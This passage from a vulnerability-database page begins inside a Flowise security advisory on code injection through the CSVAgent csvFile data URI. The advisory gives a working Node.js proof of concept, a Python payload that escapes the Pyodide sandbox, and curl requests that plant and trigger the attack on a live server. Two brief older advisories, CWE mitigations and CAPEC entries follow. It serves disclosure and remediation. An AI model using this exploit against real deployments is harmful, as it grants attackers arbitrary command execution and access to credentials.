URI by splitting on\n`,` and using two `pop()` calls (lines 127\u2013138):\n\n```ts\n} else {\n    if (csvFileBase64.startsWith(\u0027[\u0027) \u0026\u0026 csvFileBase64.endsWith(\u0027]\u0027)) {\n        files = JSON.parse(csvFileBase64)\n    } else {\n        files = [csvFileBase64]\n    }\n\n    for (const file of files) {\n        if (!file) continue\n        const splitDataURI = file.split(\u0027,\u0027)\n        splitDataURI.pop()                           // discards trailing filename segment\n        base64String += splitDataURI.pop() ?? \u0027\u0027     // captures the segment we attack\n    }\n}\n```\n\nThe captured `base64String` is then **interpolated verbatim** into a Python\nsource string at lines 156\u2013171:\n\n```ts\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"      // \u2190 line 161: interpolation sink\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code)   // \u2190 line 171: sink\n```\n\n**Validator gaps:**\n\n- `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but\n  this only validates the `customReadCSV` field, not `base64String`.\n- `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only\n  against the *LLM-emitted* Python that runs later \u2014 never against this\n  bootstrap template.\n- No content check (`^[A-Za-z0-9+/=]*$`) is applied to `base64String` before\n  interpolation.\n\n**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,\nlines 7\u201316):\n\n```ts\nexport async function LoadPyodide(): Promise\u003cPyodideInterface\u003e {\n    if (pyodideInstance === undefined) {\n        const { loadPyodide } = await import(\u0027pyodide\u0027)\n        const obj: any = { packageCacheDir: path.join(getUserHome(), \u0027.flowise\u0027, \u0027pyodideCacheDir\u0027) }\n        pyodideInstance = await loadPyodide(obj)\n        await pyodideInstance.loadPackage([\u0027pandas\u0027, \u0027numpy\u0027])\n    }\n    return pyodideInstance\n}\n```\n\nPyodide is loaded with default options. On Node.js, the default `js` module\ninside Pyodide bridges to `globalThis`, exposing the JS `eval` function and\ntop-level dynamic `import()`. From injected Python, the attacker runs:\n\n```python\nimport js\nawait js.eval(\n    \"(async () =\u003e {\"\n    \"  const fs = await import(\u0027fs\u0027);\"\n    \"  fs.writeFileSync(\u0027proof.txt\u0027, \u0027pwned\u0027);\"\n    \"})()\"\n)\n```\n\n\u2026which executes in the host Node.js process, **not** inside Pyodide\u0027s WASM\nsandbox. Substituting `await import(\u0027child_process\u0027)` for `await import(\u0027fs\u0027)`\nyields arbitrary OS-command execution via `cp.execSync(...)` with the same\nprimitive.\n\n\u003e **Node-version note.** The original PoC for this issue used\n\u003e `js.process.mainModule.require(\"child_process\")`, which is a one-liner but\n\u003e only works on Node \u2264 13 because `process.mainModule` was deprecated and now\n\u003e returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form\n\u003e above works on any Node 13.2+ in both CommonJS and ESM contexts, and was\n\u003e confirmed end-to-end against a stock `flowise@3.1.2` running on Node\n\u003e 20.20.2 \u2014 see [Verified end-to-end against live Flowise](#verified-end-to-end-against-live-flowise)\n\u003e below.\n\n**Trigger path (post-plant):** the route `POST /api/v1/prediction/:id` is in\n`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the\nchatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction\nrequest runs the chatflow, instantiates `CSVAgent`, and executes the malicious\nbootstrap.\n\n### PoC\n\nVerified end-to-end on the cloned repo (commit\n`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit\nwas based on).\n\n#### Reproducer setup\n\nTwo files. Save the first as `package.json`, the second as\n`repro_a1_pyodide.js`, then `npm install \u0026\u0026 node repro_a1_pyodide.js` in the\nsame directory.\n\n**`package.json`:**\n\n```json\n{\n  \"name\": \"poc-flowise-s1\",\n  \"version\": \"1.0.0\",\n  \"type\": \"commonjs\",\n  \"dependencies\": {\n    \"pyodide\": \"^0.29.3\"\n  }\n}\n```\n\n**`repro_a1_pyodide.js`** \u2014 mirrors `CSVAgent.ts:127-138` (the data-URI\nparser) and `:156-171` (the Python template), then runs the assembled Python\nthrough real Pyodide. The injection segment is checked for commas before\nassembly to confirm it cannot be fragmented by the JS-side `split(\u0027,\u0027)`.\n\n```js\n// Full host-RCE PoC for Flowise CSVAgent base64-injection.\n//\n// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs\n// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled\n// csvFile data URI. Demonstrates:\n//   1. JS-side template-literal interpolation produces malicious Python\n//   2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)\n//   3. Pyodide-on-Node `js` bridge reaches Node\u0027s fs module via dynamic\n//      import(\u0027fs\u0027) -\u003e host file write\n//\n// CONSTRAINTS:\n//   * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) \u2014 segment[2]\n//     of the data URI is what becomes `base64_string`, so this segment must\n//     contain NO raw `,` bytes.\n//   * Inside a Python double-quoted string literal, `,` is the escape\n//     for `,`. The data-URI parser sees the 6 raw bytes `\\`, `u`, `0`, `0`,\n//     `2`, `c` (no commas), but Python\u0027s lexer turns them into commas at\n//     runtime \u2014 letting us pass multiple arguments to JS functions inside\n//     the Python source.\n//\n// NODE-VERSION NOTE: an earlier revision of this PoC used\n//   `cp = js.process.mainModule.require(\"child_process\"); cp.execSync(...)`\n// which is shorter but only works on Node \u2264 13 \u2014 `process.mainModule` was\n// deprecated and now returns `undefined` on Node 14+, so the inner\n// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form\n// below works on any Node 13.2+ in both CommonJS and ESM contexts and was\n// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.\n\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { loadPyodide } = require(\u0027pyodide\u0027)\n\nconst proofName = \u0027flowise_a1_pyodide_proof.txt\u0027\nconst proofPath = path.resolve(__dirname, proofName)\nconst proofMarker = \u0027FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\u0027\n\n// --- Attacker payload (Python; comma-free) ----------------------------------\n// Closes the `base64_string = \"` literal with `\";`, runs malicious Python,\n// then `#` comments out the surviving closing `\"` so the rest of the\n// bootstrap template still parses.\nconst pythonInjection =\n    \u0027\";\\n\u0027 +\n    \u0027import js\\n\u0027 +\n    `await js.eval(\"(async () =\u003e { const fs = await import(\u0027fs\u0027); fs.writeFileSync(\u0027${proofName}\u0027\\\\u002c \u0027${proofMarker}\u0027); })()\")\\n` +\n    \u0027#\u0027\n\n// Sanity: any commas would fragment the injection on the JS side.\nif (pythonInjection.includes(\u0027,\u0027)) {\n    throw new Error(\u0027PoC bug: injection segment contains a comma \u2014 would be split by csvFile.split(\",\")\u0027)\n}\n\nconst csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`\n\n// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------\nconst csvFileBase64 = csvFile\nconst files = csvFileBase64.startsWith(\u0027[\u0027) \u0026\u0026 csvFileBase64.endsWith(\u0027]\u0027) ? JSON.parse(csvFileBase64) : [csvFileBase64]\nlet base64String = \u0027\u0027\nfor (const file of files) {\n    if (!file) continue\n    const splitDataURI = file.split(\u0027,\u0027)\n    splitDataURI.pop()\n    base64String += splitDataURI.pop() ?? \u0027\u0027\n}\n\n// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------\n// We omit `import pandas as pd` so we don\u0027t need to load pandas (~30 MB) just\n// to demonstrate the injection. The real flow\u0027s pyodide instance preloads\n// pandas via LoadPyodide() (core.ts:12). The injection point and validator\n// bypass are identical either way.\nconst code = `import base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\nprint(\"post-injection bootstrap continued; base64_string =\", repr(base64_string))\n`\n\nconsole.log(\u0027--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---\u0027)\nconsole.log(code)\nconsole.log(\u0027--- end ---\\n\u0027)\n\n;(async () =\u003e {\n    try { fs.unlinkSync(proofPath) } catch {}\n\n    console.log(\u0027[*] Loading pyodide...\u0027)\n    const pyodide = await loadPyodide()\n    console.log(\u0027[*] Pyodide loaded; running attacker-assembled Python...\\n\u0027)\n\n    try {\n        await pyodide.runPythonAsync(code)\n    } catch (e) {\n        console.log(\u0027[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):\u0027)\n        console.log(String(e).split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\n    }\n\n    // give the spawned writeFileSync a moment to flush\n    await new Promise((r) =\u003e setTimeout(r, 500))\n\n    console.log(\u0027\\n--- Proof file at \u0027 + proofPath + \u0027 ---\u0027)\n    if (fs.existsSync(proofPath)) {\n        console.log(fs.readFileSync(proofPath, \u0027utf-8\u0027).trim())\n        console.log(\u0027\\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\u0027)\n    } else {\n        console.log(\u0027[-] Proof file not present.\u0027)\n    }\n})()\n```\n\n#### What gets assembled\n\nAfter the two `pop()` calls in `CSVAgent.ts:135-137` extract the third comma-separated segment, the Python text passed to `pyodide.runPythonAsync` becomes (note that Python\u0027s lexer resolves the `,` escapes inside the string literal back to commas, so the JS code actually receives `fs.writeFileSync(\u0027proof\u0027, \u0027marker\u0027)`):\n\n```python\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"\";\nimport js\nawait js.eval(\"(async () =\u003e { const fs = await import(\u0027fs\u0027); fs.writeFileSync(\u0027flowise_a1_pyodide_proof.txt\u0027, \u0027FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\u0027); })()\")\n#\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n...\n```\n\nThe `\";` closes line 161\u0027s string literal; the injected statements execute\n(awaiting the JS Promise that writes the proof file); the trailing `#`\ncomments out the dangling `\"` so the rest of the bootstrap parses. The\nremaining `b64decode(\"\")` returns `b\u0027\u0027` and `pd.read_csv` (in the live\ntemplate) then raises `pandas.errors.EmptyDataError`, but the\n`fs.writeFileSync(...)` call has already fired in the Node host.\n\n#### Observed output (after deleting any prior proof file)\n\n```\n[*] Loading pyodide...\n[*] Pyodide loaded; running attacker-assembled Python...\n\n--- Proof file at .../flowise_a1_pyodide_proof.txt ---\nFLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\n\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\n```\n\nThe proof file `flowise_a1_pyodide_proof.txt` is written by the Node host\nprocess via the Pyodide `js` bridge \u2192 `js.eval(...)` \u2192\n`(await import(\u0027fs\u0027)).writeFileSync(...)`, confirming the escape from the\nPyodide WASM sandbox. The standalone repro omits `import pandas`, so no\npost-injection exception is raised \u2014 but the live template (`pandas.read_csv`\non the empty buffer) throws `pandas.errors.EmptyDataError` *after* the host\nwrite has already happened, which is exactly the symptom an operator sees in\nthe chat panel.\n\n#### Verified end-to-end against live Flowise\n\nThe standalone repro above proves the validator-bypass + sandbox-escape\nprimitive in isolation. The same payload was additionally verified against a\nstock `flowise@3.1.2` install on Node 20.20.2:\n\n| Step | Action |\n|---|---|\n| 1 | `npm install -g flowise` (Node 20.20.2, Linux x64) |\n| 2 | `flowise start` \u2192 bind on `:3000` |\n| 3 | UI: create admin + dummy OpenAI credential (any string for the API key \u2014 never validated; the exploit fires before the LLM is invoked) |\n| 4 | Plant the attached `evil-csvagent-flow.json` in the chatflows DB (UI import or `POST /api/v1/chatflows`) |\n| 5 | Open the chatflow \u2192 click chat \u2192 send any message |\n| 6 | Chat panel shows `pandas.errors.EmptyDataError: No columns to parse from file` |\n| 7 | `/home/\u003cuser\u003e/flowise_a1_proof.txt` is now present, 46 bytes, content `FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import`, owner-uid matches the Flowise process uid |\n\nReproduction artifacts (`evil-csvagent-flow.json`, `build-flow-v2.js`,\n`test-flow.js`, the captured `evidence-bundle.txt`) live at\n`pocs/S1-csvagent-csvfile-rce/triage-response/`. The chatflow JSON is built\nverbatim from Flowise\u0027s bundled `marketplaces/chatflows/CSV Agent.json`\ntemplate with three minimal edits \u2014 the malicious `csvFile` data URI on\n`csvAgent_0`, a placeholder credential on `chatOpenAI_0`, and the sticky\nnote removed \u2014 so it imports cleanly into any Flowise 3.x without the\n`reactFlowNodeData.inputParams.find(...)` 500 the maintainer initially saw\nwhen handed a hand-crafted minimal flow.\n\n#### End-to-end against a live Flowise instance\n\nThe local PoC above proves the validator-bypass + sandbox-escape primitive.\nTo reach the same primitive over HTTP against a deployed Flowise, two\nrequests suffice:\n\n```bash\n# Step 1 \u2014 authenticated chatflow author (any user with chatflows:create\n# in OSS, this is typically every registered user) plants the flow.\n# evil-csvagent-flow.json is a chatflow whose csvAgent node has\n#   inputs.csvFile = \"data:text/csv;base64,A,\u003ccomma-free python payload\u003e,IGNORED\"\ncurl -X POST https://target/api/v1/chatflows \\\n  -H \"Authorization: Bearer \u003capi-key with chatflows:create\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d @evil-csvagent-flow.json\n# \u2192 returns chatflow id, e.g. \"\u003cflow-uuid\u003e\"\n\n# Step 2 \u2014 anyone, no auth (the route is whitelisted at\n# packages/server/src/utils/constants.ts:12) triggers execution:\ncurl -X POST https://target/api/v1/prediction/\u003cflow-uuid\u003e \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"question\":\"go\"}\u0027\n```\n\nStep 1 is the only authenticated step; Step 2 is unauthenticated when\n`chatflow.apikeyid` is unset (the default for newly created chatflows).\n\n### Impact\n\n- **Class:** Remote Code Execution via Python-template injection escaping the\n  Pyodide sandbox through the `js` bridge.\n- **Affected:** every Flowise deployment that exposes a chatflow containing a\n  `CSVAgent` node where `csvFile` is operator-supplied (i.e., overridable via\n  `nodeOverrides` for the API caller, or planted by any user with chatflow\n  edit permission).\n- **Prerequisites:** one user with `chatflows:create` / `chatflows:update` /\n  `agentflows:create` / `agentflows:update` to plant the chatflow once. The\n  trigger is unauthenticated when the chatflow has no `apikeyid` set (the\n  default for newly created chatflows).\n- **Result:** arbitrary OS-command execution as the Flowise process. Direct\n  access to Flowise\u0027s encrypted-credentials key file, the entire database,\n  the host filesystem, and any network resource the host can reach.\n\n### Metadata\n\n- **Affected versions:** Confirmed at commit\n  `a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d` (main, 2026-04-28) and at\n  `flowise@3.1.2`. The vulnerable code (`splitDataURI.pop()` + template-string\n  interpolation) appears unchanged across this range. Earlier 3.x versions\n  with the same data-URI parsing pattern are also believed to be affected,\n  but I did not verify each historical tag.\n- **Fixed version:** Unpatched at the audited commit.\n- **CVSS v3.1:**\n  `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` \u2192 Base score **9.9\n  (Critical)**.\n  - AV:N \u2014 public `/api/v1/prediction/:id` trigger.\n  - AC:L \u2014 deterministic; no race / timing.\n  - PR:L \u2014 one user with `chatflows:create` (or equivalent) plants the\n    chatflow. In OSS deployments, any registered user typically has this.\n  - UI:N \u2014 no user interaction required at trigger time.\n  - S:C \u2014 Pyodide\u0027s WASM/Python sandbox is the intended security authority\n    for this code path; the `js` bridge escape and the validator bypass break\n    out to the Node host process.\n  - C:H / I:H / A:H \u2014 full host compromise.\n- **CWE:** CWE-94 (Improper Control of Generation of Code: \u0027Code Injection\u0027);\n  more specifically CWE-95 (Improper Neutralization of Directives in\n  Dynamically Evaluated Code: \u0027Eval Injection\u0027).\n\n### Remediation\n\n**Maintainer fix (preferred \u2014 eliminates string-interpolation entirely):**\npass the base64 value through Pyodide\u0027s `globals.set` API instead of\ntemplate-string interpolation. In `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`,\nreplace the construction at lines 156\u2013171 with something like:\n\n```ts\nconst pyodide = await LoadPyodide()\npyodide.globals.set(\u0027base64_string\u0027, base64String)\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code)\n```\n\nThis keeps the value as a Python `str` object that never enters the source\ntext. Apply the same change to `AirtableAgent.ts` if it follows the same\npattern.\n\n**Defense in depth (recommended as well):**\n1. Validate `base64String` against `^[A-Za-z0-9+/=]*$` before interpolation\n   (rejects every escape character used in the PoC).\n2. Disable Pyodide\u0027s `js` module on load. Pyodide supports `loadPyodide({ jsglobals: {} })`\n   or the `js`-module-removal recipe; either prevents the bridge to\n   `globalThis.process` on Node.js. Apply in\n   `packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide`.\n3. Run `validatePythonCodeForDataFrame` (or a stricter equivalent) over the\n   bootstrap template, not only over the LLM-emitted code. The current\n   ordering inverts the trust assumption.\n4. Add a positive allow-list to `validateCustomReadCSVFunction` enumerating\n   only safe pandas readers (e.g., `read_csv` and column-typed forms);\n   exclude `read_pickle`, `read_html`, `read_xml`, `read_parquet`,\n   `read_orc`, `read_feather`, `read_json` (these are independently\n   exploitable \u2014 see S2/S3 in the submission roadmap).\n\n**User mitigations until a patch ships:**\n- Set `chatflow.apikeyid` on every chatflow that uses CSVAgent so\n  `validateFlowAPIKey` enforces auth on `/api/v1/prediction/:id`.\n- Set `chatbotConfig.allowedOrigins` to a strict list (note: this only\n  defends against browser callers, not curl/server-side).\n- Restrict `chatflows:create` / `agentflows:create` permissions to trusted\n  users only.\n- Where possible, strip `csvFile` from the `nodeOverrides` allow-list on\n  affected chatflows so it cannot be supplied at prediction time.",
  "id": "GHSA-4j8x-x6v7-w9rq",
  "modified": "2026-08-04T17:43:48Z",
  "published": "2026-08-04T17:43:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation"
}

GHSA-4J92-XCJV-Q7VQ

Vulnerability from github – Published: 2022-05-01 23:31 – Updated: 2022-05-01 23:31
VLAI
Details

Multiple PHP remote file inclusion vulnerabilities in Mindmeld 1.2.0.10 allow remote attackers to execute arbitrary PHP code via a URL in the MM_GLOBALS[home] parameter to (1) acweb/admin_index.php; and (2) ask.inc.php, (3) learn.inc.php, (4) manage.inc.php, (5) mind.inc.php, and (6) sensory.inc.php in include/.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-0572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-02-05T02:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in Mindmeld 1.2.0.10 allow remote attackers to execute arbitrary PHP code via a URL in the MM_GLOBALS[home] parameter to (1) acweb/admin_index.php; and (2) ask.inc.php, (3) learn.inc.php, (4) manage.inc.php, (5) mind.inc.php, and (6) sensory.inc.php in include/.",
  "id": "GHSA-4j92-xcjv-q7vq",
  "modified": "2022-05-01T23:31:38Z",
  "published": "2022-05-01T23:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0572"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5026"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27538"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4JF7-FJC5-J529

Vulnerability from github – Published: 2022-05-17 05:32 – Updated: 2025-04-11 03:53
VLAI
Details

The RV10 codec in RealNetworks RealPlayer before 15.0.0 and Mac RealPlayer before 12.0.0.1703 allows remote attackers to execute arbitrary code via a crafted sample height.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-4252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-11-24T11:55:00Z",
    "severity": "HIGH"
  },
  "details": "The RV10 codec in RealNetworks RealPlayer before 15.0.0 and Mac RealPlayer before 12.0.0.1703 allows remote attackers to execute arbitrary code via a crafted sample height.",
  "id": "GHSA-4jf7-fjc5-j529",
  "modified": "2025-04-11T03:53:01Z",
  "published": "2022-05-17T05:32:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4252"
    },
    {
      "type": "WEB",
      "url": "http://service.real.com/realplayer/security/11182011_player/en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.